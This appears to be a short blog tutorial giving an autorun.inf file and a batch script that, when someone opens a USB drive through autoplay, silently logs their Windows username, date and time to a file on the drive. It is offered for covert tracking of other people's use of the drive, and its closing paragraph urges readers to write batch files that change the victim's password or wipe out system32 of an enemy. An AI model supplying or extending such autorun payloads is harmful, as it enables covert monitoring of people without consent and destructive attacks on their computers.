How To Track Pen Drive Uses

To track pen drive uses you have to Create an autorun.inf file on the root of your flash drive/Pendrive with the following contents:

[autorun]
open=username.bat
action=Open folder to view files

Now, create a batch file called username.bat with the following contents:
@echo off
echo %username%>>users.dat
date /t>>users.dat
time /t>>users.dat
start “Explorer” %SystemRoot%\explorer.exe
_____________________________________
Create username.bat and autorun.inf in the root of your pendrive

The Last Line of the code is optional which will open the explorer in a new window.

Track Pen Drive Uses

Track Pen Drive Uses

You have to Save both file and you are good to go. Now whenever a user plugs your pendrive into their PC,it will display an autoplay option indicating that they have to click on the icon to open the drive to view its contents. A small dos window will flash for a moment and then disappear.

Now If you go into the root of the drive, you will find a new file called users.dat it will record the user names of all the users who have accessed your drive by clicking on the icon. You can open the DAT file using notepad and view its contents.

This is not a fool proof method as some geeks disable the autoplay option (or disable writing to usb drives ) ,or they just bypass it by pressing RIGHT SHIFT key when the pendrive is connected and hence their name will not be recorded or they can delete the users.dat file. But that said,it will work fine nevertheless

I think the above code is way too easy and harmless,why not to get creative and create a batch file which will even change the password ? or even wipe out system32 of your nemes is?

Twitter Widgets Facebook Widgets

For Further Reading:

    None Found

Leave a Comment


Previous post:

Next post: